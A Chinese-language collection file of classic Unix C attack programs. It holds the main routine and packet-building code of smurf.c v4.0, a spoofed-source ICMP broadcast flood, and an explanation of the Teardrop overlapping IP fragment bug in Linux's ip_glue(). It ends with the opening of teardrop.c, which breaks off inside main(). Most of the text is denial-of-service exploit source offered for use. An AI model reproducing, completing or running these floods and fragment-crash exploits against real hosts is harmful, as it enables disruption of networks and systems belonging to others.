unix c源码常用攻击程序.txt

一种用C语言设计的攻击程序,重要用于Unix 和linux环境下面.

               banner(); 
               signal(SIGINT, ctrlc); 

               if (argc < 6) usage(argv[0]); 

               if ((he = gethostbyname(argv[1])) == NULL) { 
                  perror("resolving source host"); 
                  exit(-1); 
               } 
               memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); 
               sin.sin_family = AF_INET; 
               sin.sin_port = htons(0); 

               num = atoi(argv[3]); 
               delay = atoi(argv[4]); 
               pktsize = atoi(argv[5]); 

               if ((bcastfile = fopen(argv[2], "r")) == NULL) { 
                  perror("opening bcast file"); 
                  exit(-1); 
               } 
               x = 0; 
               while (!feof(bcastfile)) { 
                  fgets(buf, 32, bcastfile); 
                  if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) 
            continue; 
                  for (i = 0; i < strlen(buf); i++) 
                      if (buf[i] == '\n') buf[i] = '\0'; 
                  bcastaddr[x] = malloc(32); 
                  strcpy(bcastaddr[x], buf); 
                  x++; 
               } 
               bcastaddr[x] = 0x0; 
               fclose(bcastfile); 

               if (x == 0) { 
                  fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", 
            argv[2]); 
                  exit(-1); 
               } 
               if (pktsize > 1024) { 
                  fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); 
                  exit(-1); 
               } 

               if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
                  perror("getting socket"); 
                  exit(-1); 
               } 
               setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, 
            sizeof(bcast)); 

               printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); 

               for (i = 0; i < num || !num; i++) { 
                  if (!(i % 25)) { printf("."); fflush(stdout); } 
                  smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); 
                  cycle++; 
                  if (bcastaddr[cycle] == 0x0) cycle = 0; 
                  usleep(delay); 
               } 
               puts("\n\n"); 
               return 0; 
            } 

            void banner (void) 
            { 
               puts("\nsmurf.c v4.0 by TFreak\n"); 
            } 

            void usage (char *prog) 
            { 
               fprintf(stderr, "usage: %s <target> <bcast file> " 
                               "<num packets> <packet delay> <packet size>\n\n" 
                               "target        = address to hit\n" 
                               "bcast file    = file to read broadcast addresses 
            from\n" 
                               "num packets   = number of packets to send (0 = 
            flood)\n" 
                               "packet delay  = wait between each packet (in 
            ms)\n" 
                               "packet size   = size of packet (< 1024)\n\n", 
            prog); 
               exit(-1); 
            } 

            void smurf (int sock, struct sockaddr_in sin, u_long dest, int 
            psize) 
            { 
               struct iphdr *ip; 
               struct icmphdr *icmp; 
               char *packet; 

               packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 
            psize); 
               ip = (struct iphdr *)packet; 
               icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); 

               memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + 
            psize); 

               ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) 
            + psize); 
               ip->ihl = 5; 
               ip->version = 4; 
               ip->ttl = 255; 
               ip->tos = 0; 
               ip->frag_off = 0; 
               ip->protocol = IPPROTO_ICMP; 
               ip->saddr = sin.sin_addr.s_addr; 
               ip->daddr = dest; 
               ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); 
               icmp->type = 8; 
               icmp->code = 0; 
               icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct 
            icmphdr) + psize); 

               sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct 
            icmphdr) + psize, 
                      0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 

               free(packet);           /* free willy! */ 
            } 

            void ctrlc (int ignored) 
            { 
               puts("\nDone!\n"); 
               exit(1); 
            } 

            unsigned short in_chksum (u_short *addr, int len) 
            { 
               register int nleft = len; 
               register int sum = 0; 
               u_short answer = 0; 

               while (nleft > 1) { 
                  sum += *addr++; 
                  nleft -= 2; 
               } 

               if (nleft == 1) { 
                  *(u_char *)(&answer) = *(u_char *)addr; 
                  sum += answer; 
               } 

               sum = (sum >> 16) + (sum + 0xffff); 
               sum += (sum >> 16); 
               answer = ~sum; 
               return(answer); 
            } 



            3 Teardrop 

                在Linux的ip包重组过程中有一个严重的漏洞。 
                 
                在ip_glue()中： 

            在循环中重组ip包： 
                    fp = qp->fragments; 
                    while(fp != NULL) 
                    { 
                            if(count+fp->len > skb->len) 
                            { 
                                error_to_big; 
                            } 
                            memcpy((ptr + fp->offset), fp->ptr, fp->len); 
                            count += fp->len; 
                            fp = fp->next; 
                    } 
            这里只检查了长度过大的情况，而没有考虑长度过小的情况， 
            如 fp->len<0 时，也会使内核拷贝过多的东西。 

            计算分片的结束位置： 
                    end = offset + ntohs(iph->tot_len) - ihl; 

            当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的） 
            是这样处理的： 
                    if (prev != NULL && offset < prev->end) 
                    { 
                            i = prev->end - offset; 
                            offset += i;    /* ptr into datagram */ 
                            ptr += i;       /* ptr into fragment data */ 
                    } 

                    /* Fill in the structure. */ 
                    fp->offset = offset; 
                    fp->end = end; 
                    fp->len = end - offset; //fp->len是一个有符号整数 

            举个例子来说明这个漏洞： 
            第一个碎片：mf=1 offset=0   payload=20 
            敌二个碎片：mf=0 offset=10 payload=9 

            这样第一个碎片的 end=0+20  
             offset=0 
            这样第二个碎片的 end=9+10=19 
             offset=offset+（20-offset）=20 
                 fp-〉len=19-20=-1； 

            那么memcpy将拷贝过多的数据导致崩溃。 

                 
            /* 
             *  Copyright (c) 1997 route|daemon9  <[e-mail]> 11.3.97 
             * 
             *  Linux/NT/95 Overlap frag bug exploit 
             * 
             *  Exploits the overlapping IP fragment bug present in all Linux 
            kernels and 
             *  NT 4.0 / Windows 95 (others?) 
             * 
             *  Based off of:   flip.c by klepto 
             *  Compiles on:    Linux, *BSD* 
             * 
             *  gcc -O2 teardrop.c -o teardrop 
             *      OR 
             *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING 

             */ 

            #include <stdio.h> 
            #include <stdlib.h> 
            #include <unistd.h> 
            #include <string.h> 
            #include <netdb.h> 
            #include <netinet/in.h> 
            #include <netinet/udp.h> 
            #include <arpa/inet.h> 
            #include <sys/types.h> 
            #include <sys/time.h> 
            #include <sys/socket.h> 

            #ifdef STRANGE_BSD_BYTE_ORDERING_THING 
                                    /* OpenBSD < 2.1, all FreeBSD and netBSD, 
            BSDi < 3.0 */ 
            #define FIX(n)  (n) 
            #else                   /* OpenBSD 2.1, all Linux */ 
            #define FIX(n)  htons(n) 
            #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */ 

            #define IP_MF   0x2000  /* More IP fragment en route */ 
            #define IPH     0x14    /* IP header size */ 
            #define UDPH    0x8     /* UDP header size */ 
            #define PADDING 0x1c    /* datagram frame padding for first packet 
            */ 
            #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 
            2 or 3 */ 
            #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart 
            and can 
                                     * withstand maybe 5 or 10 sometimes...  
            Experiment. 
                                     */ 

            void usage(u_char *); 
            u_long name_resolve(u_char *); 
            u_short in_cksum(u_short *, int); 
            void send_frags(int, u_long, u_long, u_short, u_short); 

            int main(int argc, char **argv) 
            { 
                int one = 1,  
            count = 0,  
            i,  
            rip_sock;